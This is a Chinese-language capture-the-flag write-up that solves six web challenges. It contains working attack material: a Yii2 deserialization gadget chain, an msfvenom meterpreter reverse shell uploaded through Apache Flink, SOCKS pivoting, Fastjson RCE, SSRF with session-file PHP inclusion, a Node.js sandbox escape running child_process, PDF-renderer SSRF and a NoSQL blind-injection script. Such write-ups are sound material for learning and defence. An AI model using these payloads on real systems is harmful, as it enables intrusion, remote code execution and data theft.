[toc]

WEB

ezyii

  • 题目内容:yii最新版里有一个很巧妙的链子,我已经从999999个文件里,拿出了部分,不会还找不到吧?

题目给了源码:

  • index.php
1
2
3
4
5
6
7
8
9
10
11
12
<?php
include("closure/autoload.php");
function myloader($class){
require_once './class/' . (str_replace('\\', '/', $class) . '.php');
}
spl_autoload_register("myloader");
error_reporting(0);
if($_POST['data']){
unserialize(base64_decode($_POST['data']));
}else{
echo "<h1>某ii最新的某条链子</h1>";
}

前两天刚在先知上看了一篇文章:《yii 2.0.42 最新反序列化利用全集》,直接用里面的第四条链子就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo base64_encode(serialize(new RunProcess()));
}

namespace Faker{
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){system('cat /flag.txt');};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}

// 输出: TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjI6e3M6OToiACoAb3V0cHV0IjtPOjIyOiJGYWtlclxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjU6ImppYW5nIjt9czo0MzoiAENvZGVjZXB0aW9uXEV4dGVuc2lvblxSdW5Qcm9jZXNzAHByb2Nlc3NlcyI7YToxOntpOjA7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbmVyYXRvciI6MTp7czoxMDoiACoAZGVmYXVsdCI7TzoyODoiR3V6emxlSHR0cFxQc3I3XEFwcGVuZFN0cmVhbSI6Mjp7czozNzoiAEd1enpsZUh0dHBcUHNyN1xBcHBlbmRTdHJlYW0Ac3RyZWFtcyI7YToxOntpOjA7TzoyOToiR3V6emxlSHR0cFxQc3I3XENhY2hpbmdTdHJlYW0iOjI6e3M6NDM6IgBHdXp6bGVIdHRwXFBzcjdcQ2FjaGluZ1N0cmVhbQByZW1vdGVTdHJlYW0iO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO2I6MDt9czo2OiJzdHJlYW0iO086MjY6Ikd1enpsZUh0dHBcUHNyN1xQdW1wU3RyZWFtIjozOntzOjM0OiIAR3V6emxlSHR0cFxQc3I3XFB1bXBTdHJlYW0Ac291cmNlIjtDOjMyOiJPcGlzXENsb3N1cmVcU2VyaWFsaXphYmxlQ2xvc3VyZSI6MTkyOnthOjU6e3M6MzoidXNlIjthOjA6e31zOjg6ImZ1bmN0aW9uIjtzOjM3OiJmdW5jdGlvbigpe1xzeXN0ZW0oJ2NhdCAvZmxhZy50eHQnKTt9IjtzOjU6InNjb3BlIjtzOjI2OiJHdXp6bGVIdHRwXFBzcjdcUHVtcFN0cmVhbSI7czo0OiJ0aGlzIjtOO3M6NDoic2VsZiI7czozMjoiMDAwMDAwMDAwNzU5MDJkMjAwMDAwMDAwMmE0MGYyYTAiO319czozMjoiAEd1enpsZUh0dHBcUHNyN1xQdW1wU3RyZWFtAHNpemUiO2k6LTEwO3M6MzQ6IgBHdXp6bGVIdHRwXFBzcjdcUHVtcFN0cmVhbQBidWZmZXIiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6MToiaiI7fX19fXM6Mzg6IgBHdXp6bGVIdHRwXFBzcjdcQXBwZW5kU3RyZWFtAHNlZWthYmxlIjtiOjE7fX19fQ==

image-20210821233204708

有意思的是,题目放出来时间不久,作者就把第四条链子删了。

层层穿透

  • 题目内容:一道简单的 JAVA 题目。

进入题目后是一个 flink,存在未授权,可以直接在 “Submit New Job” 中上传 jar 包实现 RCE:

image-20210821235001703

首先在 VPS 上用 Metasploit 生成一个 jar 包类型的马:

1
msfvenom -p java/meterpreter/reverse_tcp LHOST=47.xxx.xxx.72 LPORT=2333 -f jar > shell.jar

并设置好监听:

1
2
3
4
5
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 47.xxx.xxx.72
set lport 2333
run

然后,点击 Apache Flink Dashboard 里面的 “Submit New Job” ,点击 “Add New”上传我们当才生成的 jar 包木马,上传成功后点击 Submit:

image-20210821235359845

点击后,我们的 VPS 上的即可得到目标主机的 meterpreter:

image-20210821235454410

读取 hosts 文件:

image-20210821235551152

然后上传 ew_for_linux64 设置代理:

image-20210821235944178

image-20210821235958812

然后设置好浏览器的 socks5 后便可以直接访问内网了。在 10.10.1.11:8080 上发现一个站点:

QQ截图20210821165627

题目直接给了这个站点的 jar 包:

image-20210822223021003

看到用户名为 admin,密码为 123456。然后再 LoginController.class 中找到登录接口:

image-20210822223643693

直接登录:

QQ截图20210821165643

除此之外,在 FastjsonTest.class 中发现 /admin/test 路由解析 json,并且 json 数据的长度不能小于 20000:

image-20210822223509547

Fastjson 的版本为 1.2.24,我们可以直接尝试 RCE,使用 https://github.com/safe6Sec/Fastjson 上面的 POC 直接打就行了。

执行命令并读取 flag:

QQ截图20210821165307

QQ截图20210821165322

安全检测

  • 题目内容:某安全监测平台。

image-20210821233556840

随便输入即可登录:

image-20210821233644650

可以输入 url,然后爬取指定 url 的内容,可以进行 SSRF。

我们发现有一个 /admin/ 目录,但是禁止访问了:

image-20210821233737394

我们尝试通过 SSRF 本地访问:

1
http://127.0.0.1/admin

image-20210821233909597

发现 admin 目录下有一个 include123.php,在尝试访问 include123.php:

1
http://127.0.0.1/admin/include123.php

得到 include123.php 的源码:

image-20210821234009279

存在文件包含,但是过滤了很多,伪协议不能用,尝试 Uplaod Progress 也没有成功,然后包含了一下 session 发现会把你提交的 url 保存到 session 中:

1
http://127.0.0.1/admin/include123.php?u=/tmp/sess_b982e839276fc72e1218cb9c593b0c67

image-20210821234237941

那我们可以尝试提交以下 url:

1
http://127.0.0.1/admin/include123.php?u=/tmp/sess_b982e839276fc72e1218cb9c593b0c67#<?=phpinfo();?>

image-20210821234523982

成功直接 phpinfo。然后读取 flag,使用 base64 编码绕过:

1
http://127.0.0.1/admin/include123.php?u=/tmp/sess_b982e839276fc72e1218cb9c593b0c67#<?=eval(system(base64_decode('L2dldGZsYWcuc2g=')));?>

image-20210821234707823

crawler_z

  • 题目内容:crawler_z is a website supported with crawler and bucket, can you find a way to RCE?

下载源码,发现 /user/bucket 这里:

image-20210822000757352

根据题目内容猜测这里有 RCE,控制请求页面即可,但是这里获取的是 user.bucket。

修改 bucket 的地方在 /verify:

image-20210822001001974

但是这里需要一个 token,这里的 token 是一次性的,在看另一个 /profile:

image-20210822001156405

在正常修改后此处会产生一个 token,并且如果能过这个正则则会把 token 显示出来:

image-20210822001316059

我们此处可以正常修改获得一个 token,不请求。然后再次请求 /profile 把 bucket 改成恶意地址即可。

首先任意注册登陆账号密码,然后在 /profile 提交一个正常的修改并抓包:

image-20210822001759344

在这里不动,开启一个 tag2,复制这个包,post 改成:

1
affiliation=1&age=1&bucket=http://vps/?oss-cn-beijing.ichunqiu.com

VPS 上的内容如下:

1
2
3
<script>
a=this.constructor.constructor.constructor.constructor('return process')();b=a.mainModule.require('child_process');c=b.execSync('/readflag').toString();document.write(c);
</script>

image-20210822002213368

提示 “Admin will check if your bucket is qualified later.” 后回到 tag1 点击 “Follow Redirection”,然后访问 /user/bucket 即可看到 flag:

image-20210822002336479

Secrets_Of_Admin

题目给了源码,首先看到 database.ts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import * as sqlite3 from 'sqlite3';

let db = new sqlite3.Database('./database.db', (err) => {
if (err) {
console.log(err.message)
} else {
console.log("Successfully Connected!");
db.exec(`
DROP TABLE IF EXISTS users;

CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL,
password VARCHAR(255) NOT NULL
);

INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645');

DROP TABLE IF EXISTS files;

CREATE TABLE IF NOT EXISTS files (
username VARCHAR(255) NOT NULL,
filename VARCHAR(255) NOT NULL UNIQUE,
checksum VARCHAR(255) NOT NULL
);

INSERT INTO files (username, filename, checksum) VALUES ('superuser','flag','be5a14a8e504a66979f6938338b0662c');`);
console.log('Init Finished!')
}
});

export default class DB {
static Login(username: string, password: string): Promise<any> { // 使用username, password登录
return new Promise((resolve, reject) => {
db.get(`SELECT * FROM users WHERE username = ? AND password = ?`, username, password, (err , result ) => {
if (err) return reject(err);
resolve(result !== undefined);
})
})
}

static getFile(username: string, checksum: string): Promise<any> { // 使用username和checksum获取文件名
return new Promise((resolve, reject) => {
db.get(`SELECT filename FROM files WHERE username = ? AND checksum = ?`, username, checksum, (err , result ) => {
if (err) return reject(err);
resolve(result ? result['filename'] : null);
})
})
}

static listFile(username: string): Promise<any> { // 使用username列出文件名与checksum
return new Promise((resolve, reject) => {
db.all(`SELECT filename, checksum FROM files WHERE username = ? ORDER BY filename`, username, (err, result) => {
if (err) return reject(err);
resolve(result);
})
})
}

static Create(username: string, filename: string, checksum: string): Promise<any> { // 向files表中创建一个文件数据
return new Promise((resolve, reject) => {
try {
let query = `INSERT INTO files(username, filename, checksum) VALUES('${username}', '${filename}', '${checksum}');`;
resolve(db.run(query));
} catch (err) {
reject(err);
}
})
}
}

可以看到题目会在数据库中创建一个 files 表,表里面有文件所属的用户、文件名和文件哈希。其中 superuser 用户拥有一个 flag 文件,我们最终的目标也是读取这歌 flag。

然后就是一些操作函数,主要看到 getFile 函数和 Create 函数。getFile 函数可根据用户名和效验值在 files 表中获取 Create 函数用来在 files 表中插入一条文件数据。

在看到 index.ts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
import * as express from 'express';
import { Request, Response, NextFunction } from 'express';
import * as createError from "http-errors";
import * as pdf from 'html-pdf';
import DB from '../database';
import * as fs from 'fs';
import * as path from 'path';
import * as crypto from 'crypto';
import { promisify } from 'util';
import { v4 as uuid } from 'uuid';

const readFile = promisify(fs.readFile)

const getCheckSum = (filename: string): Promise<string> => { // 根据文件内容创建md5哈希值
return new Promise((resolve, reject) => {
const shasum = crypto.createHash('md5');
try {
const s = fs.createReadStream(path.join(__dirname , "../files/", filename));
s.on('data', (data) => {
shasum.update(data)
})
s.on('end', () => {
return resolve(shasum.digest('hex'));
})
} catch (err) {
reject(err)
}
})
}

const checkAuth = (req: Request, res:Response, next:NextFunction) => {
let token = req.signedCookies['token']
if (token && token["username"]) {
if (token.username === 'superuser'){
next(createError(404)) // superuser is disabled since you can't even find it in database :)
}
if (token.isAdmin === true) {
next();
}
else {
return res.redirect('/')
}
} else {
next(createError(404));
}
}


const router = express.Router();

router.get('/', (_, res) => res.render('index', { message: `Only admin's function is implemented. 😖 `}))

router.post('/', async (req, res) => {
let { username, password } = req.body;
if ( username && password) {
if ( username == '' || typeof(username) !== "string" || password == '' || typeof(password) !== "string" ) {
return res.render('index', { error: 'Parameters error 👻'});
}
let data = await DB.Login(username, password) // 登录
if(!data) {
return res.render('index', { error : 'You are not admin 😤'});
}
res.cookie('token', { // 创建cookie
username: username,
isAdmin: true
}, { signed: true })
res.redirect('/admin');
} else {
return res.render('index', { error : 'Parameters cannot be blank 😒'});
}
})

router.get('/admin', checkAuth, async (req, res) => {
let token = req.signedCookies['token'];
try {
const files = await DB.listFile(token.username); // 根据cookie里的用户名列出文件
if (files) {
res.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true })
}
} catch (err) {
return res.render('admin', { error: 'Something wrong ... 👻'})
}
return res.render('admin');
});

router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word 🤬'});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf 😥'})
}
}
});

// You can also add file logs here!
router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') { // 必须从本地访问
return next(createError(401));
}
let { username , filename, checksum } = req.query;
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum)
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
});

router.get('/api/files/:id', async (req, res) => {
let token = req.signedCookies['token']
if (token && token['username']) {
if (token.username == 'superuser') {
return res.send('Superuser is disabled now');
}
try {
let filename = await DB.getFile(token.username, req.params.id)
if (fs.existsSync(path.join(__dirname , "../files/", filename))){
return res.send(await readFile(path.join(__dirname , "../files/", filename)));
} else {
return res.send('No such file!');
}
} catch (err) {
return res.send('Error!');
}
} else {
return res.redirect('/');
}
});

export default router;

发现 /api/files/:id 路由可以通过提供一个用户名和 id 来读取数据库里文件名所对应的文件。但是数据库中的 flag 文件是 superuser 用户的,而代码限制了 superuser 用户登录,我们想要读取 flag 就得是 superuser 用户,但这不可能,所以我们要想别的法子。

我们看到还有一个 /api/files 路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') { // 必须从本地访问
return next(createError(401));
}
let { username , filename, checksum } = req.query;
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum)
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
});

该路由可以提供一个用户名、文件名和效验值在 files 表中创建一个文件记录,那我门的思路就来了。我们可以通过这里,在 files 表中为 admin 用户创建一个 flag 文件,然后通过 /api/files/:id 进行读取。但是还有一个限制,就是 /api/files 路由必须从本地访问,在没有很明显的 SSRF 的情况下我们该如何成功访问到 /api/files 呢?

此时我们看到 /admin 路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word 🤬'});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf 😥'})
}
}
});

大致功能是使用 POST 请求获取一个 content 值,然后将 content 值的内容放在 HTML 中最后解析成 PDF 并保存到指定的目录中。如果我们在 content 中传入一个正常的 HTML 标签理论上也是可以直接解析的。那我们可以在 content 中传入一个可以自动触发 src 属性的标签,用这个 src 属性触发 SSRF 并访问 /api/files 路由为 admin 用户创建 flag 文件记录。

我们用数组绕过对 content 的检测,payload 如下:

1
2
content[]=<img+src%3D"http%3A//127.0.0.1:8888/api/files?username%3Dadmin%26filename%3D./flag%26checksum%3D123">
# 注意文件名在数据库中是 UNIQUE 的, 不能重复, 已经有一条文件名为 flag 的, 需要稍微绕一下

image-20210822084806697

此时成功解析 HTML 标签并生成了 PDF 文件,然后访问 /api/files/123 便能下载得到 flag 文件:

image-20210822084932499

image-20210822085002883

PackageManager2021

题目给了源码:

  • index.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import *  as express from "express";
import { User } from "../schema";
import { checkmd5Regex } from "../utils";

const router = express.Router();

router.get('/', (_, res) => res.render('index'))

router.get('/login', (_, res) => res.render('login'))

router.post('/login', async (req, res) => {
let { username, password } = req.body;
if (username && password) {
if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string") {
return res.render('login', { error: 'Parameters error' });
}
const user = await User.findOne({ "username": username })
if (!user || !(user.password === password)) {
return res.render('login', { error: 'Invalid username or password' });
}
req.session.userId = user.id
res.redirect('/packages/list')
} else {
return res.render('login', { error: 'Parameters cannot be blank' });
}
})

router.get('/register', (_, res) => res.render('register'))

router.post('/register', async (req, res) => {
let { username, password, password2 } = req.body;
if (username && password && password2) {
if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string" || password2 == '' || typeof (password2) !== "string") {
return res.render('register', { error: 'Parameters error' });
}
if (password != password2) {
return res.render('register', { error: 'Password do noy match' });
}
if (await User.findOne({ username: username })) {
return res.render('register', { error: 'Username already taken' });
}
try {
const user = new User({ "username": username, "password": password, "isAdmin": false })
await user.save()
} catch (err) {
return res.render('register', { error: err });
}
res.redirect('/login');
} else {
return res.render('register', { error: 'Parameters cannot be blank' });
}
})

router.get('/logout', (req, res) => {
req.session.destroy(() => res.redirect('/'))
})


router.get('/auth', (_, res) => res.render('auth'))

router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);
if (docs.length == 1) {
if (!(docs[0].isAdmin === true)) {
return res.render('auth', { error: 'Failed to auth' })
}
} else {
return res.render('auth', { error: 'No matching results' })
}
} catch (err) {
return res.render('auth', { error: err })
}
} else {
return res.render('auth', { error: 'Token must be valid md5 string' })
}
} else {
return res.render('auth', { error: 'Parameters error' })
}
req.session.AccessGranted = true
res.redirect('/packages/submit')
});


export default router;

看到 /auth 路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);
if (docs.length == 1) {
if (!(docs[0].isAdmin === true)) {
return res.render('auth', { error: 'Failed to auth' })
}
} else {
return res.render('auth', { error: 'No matching results' })
}
} catch (err) {
return res.render('auth', { error: err })
}
} else {
return res.render('auth', { error: 'Token must be valid md5 string' })
}
} else {
return res.render('auth', { error: 'Parameters error' })
}
req.session.AccessGranted = true
res.redirect('/packages/submit')
});

发现这里在 token 处存在 JavaScript 类型的 Nosql 注入,详情请看:https://xz.aliyun.com/t/9908#toc-9

编写脚本直接盲注,可以将 admin 的密码爆出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import time

import requests

url = "http://47.104.108.80:8888/auth"

headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "session=s%3ADthecmgGxbSXlDRNMGa0ANBjvl9gp7Yx.uzQrxmhpWCBDXhnAMygWZBWmAvZ%2BQZXMCUFnc5OR8kU",
}

strings = "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()"

res = ""
for i in range(len(res)+1,30):
if len(res) == i-1:
for c in strings:
data = {
"_csrf":"Z2kLXS3g-51i8xMnov2UGKbtP4n5ndrHgtWk",
"token":'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password.substr(-{})=="{}'.format(i,c + res),
}
r = requests.post(url=url,headers=headers, data=data, allow_redirects=False)
if r.status_code == 302:
res = c + res
print("[+] " + res)

break
time.sleep(0.5)
else:
print("[-] Failed")
break

# 得到: b!@#$d5dh47jyfz#098crw*w

得到密码后直接登陆 admin 即可得到 flag:

image-20210822212212706

image-20210822212237553

或者也可以用异常处理的方式将 flag 抛出来,即:

1
e10adc3949ba59abbe56e057f20f883e" || (()=>{throw Error(this.password)})() == "admin